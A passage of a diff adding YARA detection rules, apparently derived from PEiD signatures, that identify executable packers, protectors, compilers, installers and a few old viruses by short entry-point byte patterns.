+		$0 = {55 8B EC 83 C4 F4 56 57 53 BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F 85 03 00 00 00 8B 46 10 01 D0 03 45 F4 8B 18 8B 7E 10 01 D7 03 7D F4 09 DB 0F 84 ?? 00 00 00 F7 C3 00 00 00 80 0F 85 04 00 00 00 8D 5C 13 02 81 E3 FF FF FF ?? 53 FF 75 F8 FF 15 9C ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 07 83 45 F4 04 E9 A6 FF FF FF}
+	condition:
+		$0
+}
+rule _MinGW_v32x__mainCRTStartup_
+{
+	meta:
+		description = "MinGW v3.2.x (_mainCRTStartup)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 6A 00 6A 00 6A 00 6A 00 E8 0D 00 00 00 B8 00 00 00 00 C9 C3 90 90 90 90 90 90 FF 25 38 20 40 00 90 90 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_DLL__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 DLL -> Ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8}
+	condition:
+		$0 at entrypoint
+}
+rule _LameCrypt_v10_
+{
+	meta:
+		description = "LameCrypt v1.0"
+	strings:
+		$0 = {60 66 9C BB ?? ?? ?? ?? 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61}
+	condition:
+		$0 at entrypoint
+}
+rule _iPBProtect_v013_
+{
+	meta:
+		description = "iPBProtect v0.1.3"
+	strings:
+		$0 = {55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 FA 33 DB 89 5D F8 6A 02 EB 01 F8 58 5F 5E 5B 64 8B 25 00 00 00 00 64 8F 05 00 00 00 00 58 58 58 5D 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78 C2 50 00 EB D3 5B F3 68 89 5C 24 48 5C 24 58 FF 8D 5C 24 58 5B 83 C3 4C 75 F4 5A 8D 71 78 75 09 81 F3 EB FF 52 BA 01 00 83 EB FC 4A FF 71 0F 75 19 8B 5C 24 00 00 81 33 50 53 8B 1B 0F FF C6 75 1B 81 F3 EB 87 1C 24 8B 8B 04 24 83 EC FC EB 01 E8 83 EC FC E9 E7 00 00 00 58 EB FF F0 EB FF C0 83 E8 FD EB FF 30 E8 C9 00 00 00 89 E0 EB FF D0 EB FF 71 0F 83 C0 01 EB FF 70 F0 71 EE EB FA EB 83 C0 14 EB FF 70 ED 71 EB EB FA FF 83 C0 FC EB FF 70 ED 71 EB EB FA 0F 83 C0 F8 EB FF 70 ED 71 EB EB FA FF 83 C0 18 EB FF 70}
+	condition:
+		$0
+}
+rule _EXE____
+{
+	meta:
+		description = "²Ø¾¨¸óEXEÎļþÀ¦°ó»ú »áԱר°æ -> ³Â¾­èº"
+	strings:
+		$0 = {55 8B EC 83 C4 E4 53 56 57 33 C0 89 45 E4 89 45}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_13037__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.0.37 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 26 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 01 ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v114_v120_
+{
+	meta:
+		description = "PKLITE v1.14, v1.20"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 09 BA ?? ?? CD 21 CD 20}
+	condition:
+		$0 at entrypoint
+}
+rule _Crunch_5__Fusion_4__BitArts_
+{
+	meta:
+		description = "Crunch 5 / Fusion 4 -> Bit-Arts"
+	strings:
+		$0 = {EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_VideoLanClient_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Video-Lan-Client]"
+	strings:
+		$0 = {55 89 E5 83 EC 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 FF FF 01 01 01 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 00 01 00 01 90 90 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _DotFix_Nice_Protect_V21__GPcH_Soft__SignByhaggar_
+{
+	meta:
+		description = "DotFix Nice Protect V2.1 -> GPcH Soft * Sign.By.haggar"
+	strings:
+		$0 = {E9 FF 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 B8 ?? ?? ?? ?? 03 C5 50 B8 ?? ?? ?? ?? 03 C5 FF 10 BB ?? ?? ?? ?? 03 DD 83 C3 0C 53 50 B8 ?? ?? ?? ?? 03 C5 FF 10 6A 40 68 00 10 00 00 FF 74 24 2C 6A 00 FF D0 89 44 24 1C 61 C3}
+	condition:
+		$0
+}
+rule _MinGW_v32x_main_
+{
+	meta:
+		description = "MinGW v3.2.x (main)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 E4 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 E4 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 00 41 40 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 F4 40 40 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 53 83 EC 24 C7 04 24 A0 11 40 00 E8 8D 07 00 00 83 EC 04 E8 85 02 00 00 C7 04 24 00 20 40 00 8B 15 10 20 40 00 8D 4D F8 C7 45 F8 00 00 00 00 89 4C 24 10 89 54 24 0C 8D 55 F4 89 54 24 08 C7 44 24 04 04 20 40 00 E8 02 07 00 00 A1 20 20 40 00 85 C0 74 76 A3 30 20 40 00 A1 F0 40 40 00 85 C0 74 1F 89 04 24 E8 C3 06 00 00 8B 1D 20 20 40 00 89 04 24 89 5C 24 04 E8 C1 06 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EmbedPE_V1X__cyclotron_
+{
+	meta:
+		description = "EmbedPE V1.X -> cyclotron"
+	strings:
+		$0 = {83 EC 50 60 68 ?? ?? ?? ?? E8 ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v27_
+{
+	meta:
+		description = "EXE Stealth v2.7"
+	strings:
+		$0 = {EB 00 60 EB 00 E8 00 00 00 00 5D 81 ED D3 26 40}
+	condition:
+		$0 at entrypoint
+}
+rule _UnoPiX_103110__BaGiE_
+{
+	meta:
+		description = "UnoPiX 1.03-1.10 -> BaGiE"
+	strings:
+		$0 = {83 EC 04 C7 04 24 00 ?? ?? ?? C3 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 ?? ?? 00 00 10 00 00 00 00 00 00 02 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 10}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_V1033__Ashkbiz_Danehkar__Sign_by_fly_
+{
+	meta:
+		description = "yoda's Protector V1.03.3 -> Ashkbiz Danehkar ! Sign by fly"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2D E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED 07 E2 40 00 8B D5 81 C2 56 E2 40 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3}
+	condition:
+		$0 at entrypoint
+}
+rule _HPA_
+{
+	meta:
+		description = "HPA"
+	strings:
+		$0 = {E8 ?? ?? 5E 8B D6 83 ?? ?? 83 ?? ?? 06 0E 1E 0E 1F 33 FF 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v103__v104_Modified_
+{
+	meta:
+		description = "UPX v1.03 - v1.04 Modified"
+	strings:
+		$0 = {01 DB ?? 07 8B 1E 83 EE FC 11 DB 8A 07 ?? EB B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v300_
+{
+	meta:
+		description = "Armadillo v3.00"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 33 C9}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_118_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack 1.18 (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 A7 03 00 00 89 85 16 04 00 00 5B FF B5 16 04 00 00 56 FF D3 83 C4 ?? 8B B5 16 04 00 00 8B C6 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXFreak_V01__HMX0101_
+{
+	meta:
+		description = "UPXFreak V0.1 -> HMX0101"
+	strings:
+		$0 = {BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_v20b2_v20b3_
+{
+	meta:
+		description = "Nullsoft Install System v2.0b2, v2.0b3"
+	strings:
+		$0 = {83 EC 0C 53 55 56 57 FF 15 ?? 70 40 00 8B 35 ?? 92 40 00 05 E8 03 00 00 89 44 24 14 B3 20 FF 15 2C 70 40 00 BF 00 04 00 00 68 ?? ?? ?? 00 57 FF 15 ?? ?? 40 00 57 FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_116_aPLib_compression__ap0x_h_
+{
+	meta:
+		description = "RLPack 1.16 (aPLib compression) -> ap0x (h)"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 53 03 00 00 8D 9D 02 02 00 00 33 FF E8 45 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 E8 02 00 00 89 85 4F 03 00 00 5B FF B5 4F 03 00 00 56 FF D3 83 C4 08 8B B5 4F 03 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 E8 CD 00 00 00 83 C0 04 89 85 4B 03 00 00 E9 93 00 00 00 56 FF 95 E0 02 00 00 85 C0 0F 84 AE 00 00 00 89 85 47 03 00 00 8B C6 EB 5B 8B 85 4B 03 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 4B 03 00 00 C7 00 20 20 20 00 EB 06 FF B5 4B 03 00 00 FF B5 47 03 00 00 FF 95 E4 02 00 00 85 C0 74 6B 89 07 83 C7 04 8B}
+	condition:
+		$0
+}
+rule _Turbo_Profiler_Areas_file_
+{
+	meta:
+		description = "Turbo Profiler Areas file"
+	strings:
+		$0 = {54 75 72 62 6F ?? 50 72 6F 66 69 6C 65 72 ?? 61 72 65 61 73 ?? 66 69 6C 65}
+	condition:
+		$0
+}
+rule _Armadillo_v253_
+{
+	meta:
+		description = "Armadillo v2.53"
+	strings:
+		$0 = {55 8B EC 6A FF 68 40 ?? ?? ?? 68 54 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC}
+		$1 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 40 ?? ?? ?? ?? 68 54 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 58 33 D2 8A D4 89}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt"
+	strings:
+		$0 = {BB D0 01 40 ?? BF ?? 10 40 ?? BE}
+		$1 = {E8 01 00 00 00 ?? ?? E8 ?? 00 00 00}
+		$2 = {EB 01 ?? EB 02 ?? ?? ?? 80 ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PseudoSigner_01_WATCOM_CCpp_EXE__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [WATCOM C/C++ EXE] -> Anorganix"
+	strings:
+		$0 = {E9 00 00 00 00 90 90 90 90 57 41 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Wise_Installer_Stub_v11010291_
+{
+	meta:
+		description = "Wise Installer Stub v1.10.1029.1"
+	strings:
+		$0 = {55 8B EC 81 EC 40 0F 00 00 53 56 57 6A 04 FF 15 F4 30 40 00 FF 15 74 30 40 00 8A 08 89 45 E8 80 F9 22 75 48 8A 48 01 40 89 45 E8 33 F6 84 C9 74 0E 80 F9 22 74 09 8A 48 01 40 89 45 E8 EB EE 80 38 22 75 04 40 89 45 E8 80 38 20 75 09 40 80 38 20 74 FA 89 45 E8 8A 08 80 F9 2F 74 2B 84 C9 74 1F 80 F9 3D 74 1A 8A 48 01 40 EB F1 33 F6 84 C9 74 D6 80 F9 20 74}
+	condition:
+		$0 at entrypoint
+}
+rule _MicroJoiner_11__coban2k_
+{
+	meta:
+		description = "MicroJoiner 1.1 -> coban2k"
+	strings:
+		$0 = {BE 0C 70 40 00 BB F8 11 40 00 33 ED 83 EE 04 39 2E 74 11}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Virtualization_Suite_30353043__Thinstall_Company_
+{
+	meta:
+		description = "Thinstall Virtualization Suite 3.035-3.043 -> Thinstall Company"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SDProtector_BasicPro_Edition_110__Randy_Li_h_
+{
+	meta:
+		description = "SDProtector Basic/Pro Edition 1.10 -> Randy Li (h)"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 50 83 EC 08 64 A1 00 00 00 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 83 C4 08 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 64 8F 05 00 00 00 00 64 A3 00 00 00 00 83 C4 08 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 59 03 00 00 03 C8 74 B8 75 B6 E8 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Sonik_Youth_
+{
+	meta:
+		description = "Vx: Sonik Youth"
+	strings:
+		$0 = {8A 16 02 00 8A 07 32 C2 88 07 43 FE C2 81 FB}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_120_Eng__dulekxt__Borland_Delphi__Borland_Cpp_
+{
+	meta:
+		description = "FSG 1.20 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)"
+	strings:
+		$0 = {0F BE C1 EB 01 0E 8D 35 C3 BE B6 22 F7 D1 68 43 ?? ?? 22 EB 02 B5 15 5F C1 F1 15 33 F7 80 E9 F9 BB F4 00 00 00 EB 02 8F D0 EB 02 08 AD 8A 16 2B C7 1B C7 80 C2 7A 41 80 EA 10 EB 01 3C 81 EA CF AE F1 AA EB 01 EC 81 EA BB C6 AB EE 2C E3 32 D3 0B CB 81 EA AB}
+	condition:
+		$0
+}
+rule _PE_Protector_093__CRYPToCRACk_
+{
+	meta:
+		description = "PE Protector 0.9.3 -> CRYPToCRACk"
+	strings:
+		$0 = {5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1 75 09 83 EC 04 0F 85 DD 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PowerBASICWin_800_
+{
+	meta:
+		description = "PowerBASIC/Win 8.00"
+	strings:
+		$0 = {55 8B EC 53 56 57 BB 00 ?? ?? 00 66 2E F7 05 ?? ?? 40 00 04 00 75 05 E9 14 04 00 00 E9 19 02}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v146_
+{
+	meta:
+		description = "PECompact v1.46"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 60 12}
+	condition:
+		$0 at entrypoint
+}
+rule _The_aPE_Inline_Patch_Basic_Advanced_Stealth_
+{
+	meta:
+		description = "The aPE Inline Patch Basic, Advanced, Stealth)"
+	strings:
+		$0 = {B9 ?? ?? ?? 00 E8 ?? ?? 00 00 89 01 68}
+	condition:
+		$0 at entrypoint
+}
+rule _TPACK_v05c_m1_
+{
+	meta:
+		description = "T-PACK v0.5c -m1"
+	strings:
+		$0 = {68 ?? ?? FD 60 BE ?? ?? BF ?? ?? B9 ?? ?? F3 A4 8B F7 BF ?? ?? FC 46 E9 8E FE}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_2403__Jitit_
+{
+	meta:
+		description = "Thinstall 2.403 -> Jitit"
+	strings:
+		$0 = {6A 00 FF 15 20 50 40 00 E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41}
+	condition:
+		$0
+}
+rule _PEiDBundle_V102_DLL__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle V1.02 DLL -> BoB / BobSoft"
+	strings:
+		$0 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 00 08 00 39 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_vxx_
+{
+	meta:
+		description = "PEtite vx.x"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 66 9C 60 50}
+	condition:
+		$0 at entrypoint
+}
+rule _NTPacker_V2X__ErazerZ__Sign_by_fly_
+{
+	meta:
+		description = "NTPacker V2.X -> ErazerZ ! Sign by fly"
+	strings:
+		$0 = {4B 57 69 6E 64 6F 77 73 00 10 55 54 79 70 65 73 00 00 3F 75 6E 74 4D 61 69 6E 46 75 6E 63 74 69 6F 6E 73 00 00 47 75 6E 74 42 79 70 61 73 73 00 00 B7 61 50 4C 69 62 75 00 00 00}
+	condition:
+		$0
+}
+rule _Vx_ARCV4_
+{
+	meta:
+		description = "Vx: ARCV.4"
+	strings:
+		$0 = {E8 00 00 5D 81 ED 06 01 81 FC 4F 50 74 0B 8D B6 86 01 BF 00 01 57 A4 EB 11 1E 06}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXShit_01__500mhz_
+{
+	meta:
+		description = "UPX-Shit 0.1 -> 500mhz"
+	strings:
+		$0 = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 01 ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79}
+		$1 = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v110b6_
+{
+	meta:
+		description = "PECompact v1.10b6"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 ?? 00 87 DD 8B 85 9A 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 01 85 92 60 40 ?? BB B7}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_C_50_
+{
+	meta:
+		description = "Microsoft Visual C 5.0"
+	strings:
+		$0 = {64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 C4 A8 53 56 57}
+	condition:
+		$0
+}
+rule _Upack_028__0399_relocated_image_base__Delphi_NET_DLL_or_something_else__Dwing_h_
+{
+	meta:
+		description = "Upack 0.28 - 0.399 (relocated image base - Delphi, .NET, DLL or something else -> Dwing (h)"
+	strings:
+		$0 = {60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD 03 C3 50 97 AD 91 F3 A5 5E AD 56 91 01 1E AD E2 FB AD 8D 6E 10 01 5D 00 8D 7D 1C B5 ?? F3 AB 5E AD 53 50 51 97 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72}
+	condition:
+		$0
+}
+rule _Turbo_C_
+{
+	meta:
+		description = "Turbo C"
+	strings:
+		$0 = {BC ?? ?? E8 ?? ?? 2E 8E ?? ?? ?? E8 ?? ?? 2E 80 ?? ?? ?? ?? 75 ?? E8 ?? ?? 8B C3 2E F7 ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v1242__v1243_
+{
+	meta:
+		description = "PECompact v1.24.2 - v1.24.3"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? D2 09}
+	condition:
+		$0 at entrypoint
+}
+rule _WARNING__TROJAN__XiaoHui_
+{
+	meta:
+		description = "WARNING -> TROJAN -> XiaoHui"
+	strings:
+		$0 = {60 9C E8 00 00 00 00 5D B8 ?? 85 40 00 2D ?? 85 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PROTECT_EXECOM_v60_
+{
+	meta:
+		description = "PROTECT! EXE/COM v6.0"
+	strings:
+		$0 = {1E B4 30 CD 21 3C 02 73 ?? CD 20 BE ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v022__v023Beta__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack v0.22 ~ v0.23Beta -> Sign by hot_UNP"
+	strings:
+		$0 = {6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Eddie1530_
+{
+	meta:
+		description = "Vx: Eddie.1530"
+	strings:
+		$0 = {E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? 50 06 56 1E 33 C0 50 1F C4 ?? ?? ?? 2E ?? ?? ?? ?? 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _Special_EXE_Pasword_Protector_v101_Eng__Pavol_Cerven_
+{
+	meta:
+		description = "Special EXE Pasword Protector v1.01 (Eng) -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77 00 00 8D 95 C6 77 00 00 8D 8D FF 77 00 00 55 68 00 20 00 00 51 52 6A 00 FF 95 04 7A 00 00 5D 6A 00 FF 95 FC 79 00 00 8D 8D 60 78 00 00 8D 95 85 01 00 00 55 68 00 04 00 00 52 6A 00 51 50 FF 95 08 7A 00 00 5D 8D B5 3F 78 00 00 6A 00 6A 00 6A 00 56 FF 95 0C 7A 00 00 0B C0 0F 84 FE 00 00 00 56 FF 95 10 7A 00 00 56 FF 95 14 7A 00 00 80 BD 3E 78 00 00 00 74 D4 33 D2 8B BD 3E 77 00 00 8D 85 1D 02 00 00 89 85 42 77 00 00 8D 85 49 02 00 00 89 85 46 77 00 00 8D 85 EB 75 00 00 89 85 4A 77 00 00 8B 84 D5 24 76 00 00 03 F8 8B 8C D5 28 76 00 00 3B 85 36 77 00 00 60 74 1F 8D B5 BD 02 00 00 FF D6 85 D2 75 11 60 87 FE 8D BD 15 78 00 00 B9 08 00 00 00 F3 A5 61 EB 